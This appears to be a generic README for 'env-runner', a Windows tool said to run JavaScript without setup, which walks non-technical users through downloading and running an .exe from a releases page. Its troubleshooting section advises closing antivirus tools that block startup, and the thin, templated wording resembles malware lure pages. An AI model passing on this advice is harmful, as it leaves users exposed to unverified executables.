env-runner is a tool that helps you run JavaScript programs in different setups on your computer. It prepares the right environment so JavaScript can work smoothly without complicated steps. You do not need to know how to program or use command lines.
This software works on Windows computers. It handles the setup for JavaScript, so you just run your applications easily.
Before installing env-runner, make sure your computer meets these conditions:
- Windows 10 or later (64-bit)
- At least 2 GB of free disk space
- Minimum 4 GB RAM
- Internet connection for downloading the software
- Basic permission to install new programs on your PC
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Click the big button below to visit the download page:
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On the page, look for the latest version labeled with the newest date.
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Under "Assets," find the file with
.exeextension, for example,env-runner-setup.exe. -
Click this file to start downloading it onto your computer.
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When the download completes, locate the file in your "Downloads" folder or where your browser saves files.
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Double-click the file to open it.
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Follow the on-screen instructions:
- Accept the license agreement.
- Choose the installation folder or leave it default.
- Click "Install."
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Wait until the setup finishes. This may take a few minutes.
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When done, click "Finish" to exit the installer.
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Find the env-runner icon on your desktop or in the Start Menu.
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Double-click to open the program.
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You will see a simple window where you can add or select JavaScript environments.
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Use the buttons provided to run the JavaScript programs you want.
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If you have a JavaScript file to run:
- Click "Add File"
- Browse to your file location and select it
- Click "Run"
The program handles everything else.
- Run JavaScript files without manual setup.
- Switch between different JavaScript environments easily.
- Avoid errors caused by missing tools or wrong setups.
- Test JavaScript projects safely on your Windows PC.
- Manage multiple projects under different settings.
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If the program does not start, restart your computer and try again.
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Make sure you downloaded the correct
.exefile from the release page. -
If env-runner cannot find your JavaScript file, check that the file is saved and not moved.
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Close other software that might block env-runner during startup, like antivirus tools.
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For help, open the "Help" section inside the program or check the README on the GitHub page.
You can always get the latest version on the official release page:
Download env-runner from GitHub releases
Click the link above. It takes you to the place where you can choose the newest installer for Windows.
env-runner sets up a safe area on your PC for running JavaScript. It prepares files and tools behind the scenes so you do not worry about details like software versions or dependencies.
The app supports multiple versions of JavaScript runtimes. It switches between them as you need.
You do not need to install Node.js or other tools separately. env-runner bundles what is required.
If you want to change how env-runner works, use the "Settings" menu.
Here you can:
- Choose the JavaScript runtime version.
- Set default folders for your projects.
- Enable or disable automatic updates.
- View logs to check how the program runs.
These options help customize the experience but are not required to use the app.
Q: Can I use env-runner on Mac or Linux?
A: No, currently env-runner supports only Windows.
Q: Do I need to know how to code to use this app?
A: No, env-runner is made to run JavaScript files easily without coding skills.
Q: What if I get an error when running a file?
A: Check that your JavaScript file is valid and supported. You can also try restarting env-runner.
For questions or help, visit the GitHub page and use the "Issues" tab to report problems.
